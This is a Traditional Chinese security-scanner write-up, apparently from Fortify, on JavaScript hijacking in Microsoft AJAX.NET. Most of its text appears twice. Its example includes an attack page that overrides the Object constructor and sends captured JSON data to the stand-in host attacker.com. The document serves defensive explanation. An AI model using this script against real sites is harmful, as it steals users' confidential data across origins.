JavaScript Hijacking: Vulnerable Framework

執行 Microsoft AJAX.NET (Atlas) 的應用程式容易受到 JavaScript 劫持的攻擊，使未經授權的攻擊者讀取機密資料。

Microsoft AJAX.NET (Atlas) 使用 JSON 在伺服器和用戶端之間傳輸資料。此框架產生包含使用 <script> 標籤評估的有效 JavaScript 的回應，因此容易受到 JavaScript 劫持的攻擊 [1]。預設情況下，此框架使用 POST 方法傳遞要求，這使得從惡意的 <script> 標籤產生要求變得困難 (因為 <script> 標籤只會產生 GET 要求)。儘管如此，Microsoft AJAX.NET 確實提供了使用 GET 要求的機制。事實上，許多專家鼓勵程式設計師使用 GET 要求，以執行瀏覽器快取以及增進效能。

在下列情況下，應用程式可能很容易受到 JavaScript 劫持的攻擊：1) 使用 JavaScript 物件做為資料傳輸格式，2) 處理機密資料。由於 JavaScript 劫持弱點不會做為編碼錯誤的直接結果出現，因此 Fortify Secure Coding Rulepacks 會透過識別在 HTTP 回應中可能產生 JavaScript 的程式碼，喚起人們對潛在 JavaScript 劫持弱點的注意。

網頁瀏覽器強制使用相同來源策略 (Same Origin Policy) 來保護使用者免受惡意網站的攻擊。相同來源策略 (Same Origin Policy) 要求，若要使用 JavaScript 存取網頁的內容，則 JavaScript 和網頁都必須來自相同的網域。若不使用相同來源策略 (Same Origin Policy)，惡意的網站可使用用戶端的憑證來執行 JavaScript，從其他網站載入敏感的資訊，從中挑選出資訊並將資訊回傳給攻擊者。JavaScript 劫持的攻擊將允許攻擊者略過相同來源策略 (Same Origin Policy)，在 Web 應用程式使用 JavaScript 來傳遞機密資訊。相同來源策略 (Same Origin Policy) 的弱點就是它允許任何網站的 JavaScript 都可被任何其他網站的上下文環境包含或執行。即使惡意的網站不能直接在用戶端上檢查來自於易受攻擊的網站載入的任何資料，但是它仍然可以設定環境來利用此弱點，此環境允許它去監視 JavaScript 的執行過程和任何相關的負面影響。很多的網路 2.0 應用程式將 JavaScript 當做資料傳輸機制使用，與傳統的 Web 應用程式不同，它們很容易受到攻擊。

在 JavaScript 中最常見的資訊傳輸的格式為 JavaScript Object Notation (JSON)。JSON RFC 將 JSON 語法定義為 JavaScript 物件文字語法(object literal syntax)的子集。JSON 基於兩種類型的資料結構：陣列和物件。任何可將訊息解譯成一個或多個有效的 JavaScript 指令的資料傳輸格式，都極易受到 JavaScript 劫持的攻擊。JSON 使 JavaScript 劫持攻擊變得更容易，因為 JSON 陣列堅持認為它自己是一個有效的 JavaScript 指令。因為陣列是傳輸清單的一種正常形式，當應用程式需要傳輸多個值時一般會使用該形式。換句話說，JSON 陣列會直接受到 JavaScript 劫持的攻擊。JSON 物件只在它被一些其他 JavaScript 結構包圍時才會受到攻擊，這些 JavaScript 結構堅持它們自己是有效的 JavaScript 指令。

範例 1：以下範例首先顯示 Web 應用程式的用戶端與伺服器元件之間的合法 JSON 互動，此 Web 應用程式用於管理銷售機會。範例進一步說明攻擊者是如何模擬用戶端並取得伺服器傳回的機密資料的存取權。請注意，本範例是以 Mozilla 為基礎的瀏覽器來撰寫的。在建立物件時，若沒有使用新的運算子，其他主流的瀏覽器將不允許替換原始的構造函數。

用戶端要求來自伺服器的資料，並使用以下的程式碼來評估 JSON 結果：

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
  if (req.readyState == 4) {
    var txt = req.responseText;
    object = eval("(" + txt + ")");
    req = null;
  }
};
req.send(null);

當此程式碼執行時，將產生如下的 HTTP 要求：

GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR

(在此 HTTP 回應和之後的內容，我們省略了與此說明沒有直接關係的 HTTP 表頭。)
伺服器使用 JSON 格式的陣列進行回應：

HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
  "purchases":60000.00, "email":"brian@example.com" },
 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
  "purchases":120000.00, "email":"katrina@example.com" },
 {"fname":"Jacob", "lname":"West", "phone":"6502135600",
  "purchases":45000.00, "email":"jacob@example.com" }]

在此案例中，JSON 包含了與目前使用者相關的機密資訊 (一組銷售機會清單)。其他使用者如果不知道使用者的階段作業識別碼，是無法存取這些資訊的。(在大部份的現代 Web 應用程式中，階段作業識別碼儲存在 cookie 中。)不過，如果一位受害者造訪了惡意的網站，此惡意網站可以使用 JavaScript 劫持來擷取資訊。如果受害者受騙而造訪了包含下列惡意程式碼的網頁，則將會把受害者的重要資訊傳送到攻擊者的網站中。

<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
 this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
  var objString = "";
  for (fld in this) {
    objString += fld + ": " + this[fld] + ", ";
  }
  objString += "email: " + x;
  var req = new XMLHttpRequest();
  req.open("GET", "http://attacker.com?obj=" +
           escape(objString),true);
  req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>

惡意程式碼使用 Script 標籤將 JSON 物件包括在目前頁面中。網路瀏覽器會隨要求傳送相應的階段作業 cookie。換言之，系統將會處理此要求，就像其來自合法應用程式一樣。

JSON 陣列到達用戶端時，將在惡意頁面的環境內接受評估。為了監視 JSON 的評估，惡意頁面已重新定義用於建立新物件的 JavaScript 函數。透過此方式，惡意程式碼已插入陷阱，藉此取得建立每個物件以及將物件的內容傳回惡意網站的存取權。其他攻擊可能會改為取代陣列的預設建構函式。為了在 mashup 中使用而建立的應用程式有時會在每則 JavaScript 訊息的末尾呼叫收回函數。收回函數原本由 mashup 中的其他應用程式定義。收回函數讓 JavaScript 劫持攻擊成為常事，所有攻擊者只需定義函數即可。應用程式可為 mashup 提供方便，也可以保持安全，但兩者不可兼得。若使用者未登入易受攻擊的網站，攻擊者可能請求使用者登入，然後顯示應用程式的合法登入頁面，藉此進行彌補。

這並非網路釣魚攻擊，因為攻擊者並未取得使用者憑證的存取權，因此防網路釣魚的應對舉措無法防禦此攻擊。更複雜的攻擊可能會使用 JavaScript 動態產生 Script 標籤，從而對應用程式產生一系列要求。這一相同技術有時也用於建立應用程式 mashup。唯一的不同之處在於，在此 mashup 情況中，涉及的其中一個應用程式是惡意的。

使用 JavaScript 符號來傳送敏感資料的應用程式可能對 JavaScript 劫持的弱點，這允許未經授權的攻擊者從一個易受攻擊的應用程式中讀取機密資料。

在下列情況下，應用程式可能很容易受到 JavaScript 劫持的攻擊：1) 使用 JavaScript 物件做為資料傳輸格式，2) 處理機密資料。由於 JavaScript 劫持弱點不會做為編碼錯誤的直接結果出現，因此 Fortify Secure Coding Rulepacks 會透過識別在 HTTP 回應中可能產生 JavaScript 的程式碼，喚起人們對潛在 JavaScript 劫持弱點的注意。

網頁瀏覽器強制使用相同來源原則 (Same Origin Policy) 來保護使用者免受惡意網站的攻擊。相同來源策略 (Same Origin Policy) 要求，若要使用 JavaScript 存取網頁的內容，則 JavaScript 和網頁都必須來自相同的網域。若不使用相同來源策略 (Same Origin Policy)，惡意的網站可使用用戶端的憑證來執行 JavaScript，從其他網站載入敏感的資訊，從中挑選出資訊並將資訊回傳給攻擊者。JavaScript 劫持的攻擊將允許攻擊者略過相同來源策略 (Same Origin Policy)，在 Web 應用程式使用 JavaScript 來傳遞機密資訊。相同來源策略 (Same Origin Policy) 的弱點就是它允許任何網站的 JavaScript 都可被任何其他網站的上下文環境包含或執行。即使惡意的網站不能直接在用戶端上檢查來自於易受攻擊的網站載入的任何資料，但是它仍然可以設定環境來利用此弱點，此環境允許它去監視 JavaScript 的執行過程和任何相關的負面影響。很多的網路 2.0 應用程式將 JavaScript 當做資料傳輸機制使用，與傳統的 Web 應用程式不同，它們很容易受到攻擊。

在 JavaScript 中最常見的資訊傳輸的格式為 JavaScript Object Notation (JSON)。JSON RFC 將 JSON 語法定義為 JavaScript 物件文字語法(object literal syntax)的子集。JSON 基於兩種類型的資料結構：陣列和物件。任何可將訊息解譯成一個或多個有效的 JavaScript 指令的資料傳輸格式，都極易受到 JavaScript 劫持的攻擊。JSON 使 JavaScript 劫持攻擊變得更容易，因為 JSON 陣列堅持認為它自己是一個有效的 JavaScript 指令。因為陣列是傳輸清單的一種正常形式，當應用程式需要傳輸多個值時一般會使用該形式。換句話說，JSON 陣列會直接受到 JavaScript 劫持的攻擊。JSON 物件只在它被一些其他 JavaScript 結構包圍時才會受到攻擊，這些 JavaScript 結構堅持它們自己是有效的 JavaScript 指令。

範例 1：以下範例首先顯示 Web 應用程式的用戶端與伺服器元件之間的合法 JSON 互動，此 Web 應用程式用於管理銷售機會。範例進一步說明攻擊者是如何模擬用戶端並取得伺服器傳回的機密資料的存取權。請注意，本範例是以 Mozilla 為基礎的瀏覽器來撰寫的。在建立物件時，若沒有使用新的運算子，其他主流的瀏覽器將不允許替換原始的構造函數。

用戶端要求來自伺服器的資料，並使用以下的程式碼來評估 JSON 結果：

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
  if (req.readyState == 4) {
    var txt = req.responseText;
    object = eval("(" + txt + ")");
    req = null;
  }
};
req.send(null);

當此程式碼執行時，將產生如下的 HTTP 要求：

GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR

(在此 HTTP 回應和之後的內容，我們省略了與此說明沒有直接關係的 HTTP 表頭。)
伺服器使用 JSON 格式的陣列進行回應：

HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
  "purchases":60000.00, "email":"brian@example.com" },
 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
  "purchases":120000.00, "email":"katrina@example.com" },
 {"fname":"Jacob", "lname":"West", "phone":"6502135600",
  "purchases":45000.00, "email":"jacob@example.com" }]

在此案例中，JSON 包含了與目前使用者相關的機密資訊 (一組銷售機會清單)。其他使用者如果不知道使用者的階段作業識別碼，是無法存取這些資訊的。(在大部份的現代 Web 應用程式中，階段作業識別碼儲存在 cookie 中。)不過，如果一位受害者造訪了惡意的網站，此惡意網站可以使用 JavaScript 劫持來擷取資訊。如果受害者受騙而造訪了包含下列惡意程式碼的網頁，則將會把受害者的重要資訊傳送到攻擊者的網站中。

<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
 this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
  var objString = "";
  for (fld in this) {
    objString += fld + ": " + this[fld] + ", ";
  }
  objString += "email: " + x;
  var req = new XMLHttpRequest();
  req.open("GET", "http://attacker.com?obj=" +
           escape(objString),true);
  req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>

惡意程式碼使用 Script 標籤將 JSON 物件包括在目前頁面中。網路瀏覽器會隨要求傳送相應的階段作業 cookie。換言之，系統將會處理此要求，就像其來自合法應用程式一樣。

JSON 陣列到達用戶端時，將在惡意頁面的環境內接受評估。為了監視 JSON 的評估，惡意頁面已重新定義用於建立新物件的 JavaScript 函數。透過此方式，惡意程式碼已插入陷阱，藉此取得建立每個物件以及將物件的內容傳回惡意網站的存取權。其他攻擊可能會改為取代陣列的預設建構函式。為了在 mashup 中使用而建立的應用程式有時會在每則 JavaScript 訊息的末尾呼叫收回函數。收回函數原本由 mashup 中的其他應用程式定義。收回函數讓 JavaScript 劫持攻擊成為常事，所有攻擊者只需定義函數即可。應用程式可為 mashup 提供方便，也可以保持安全，但兩者不可兼得。若使用者未登入易受攻擊的網站，攻擊者可能請求使用者登入，然後顯示應用程式的合法登入頁面，藉此進行彌補。

這並非網路釣魚攻擊，因為攻擊者並未取得使用者憑證的存取權，因此防網路釣魚的應對舉措無法防禦此攻擊。更複雜的攻擊可能會使用 JavaScript 動態產生 Script 標籤，從而對應用程式產生一系列要求。這一相同技術有時也用於建立應用程式 mashup。唯一的不同之處在於，在此 mashup 情況中，涉及的其中一個應用程式是惡意的。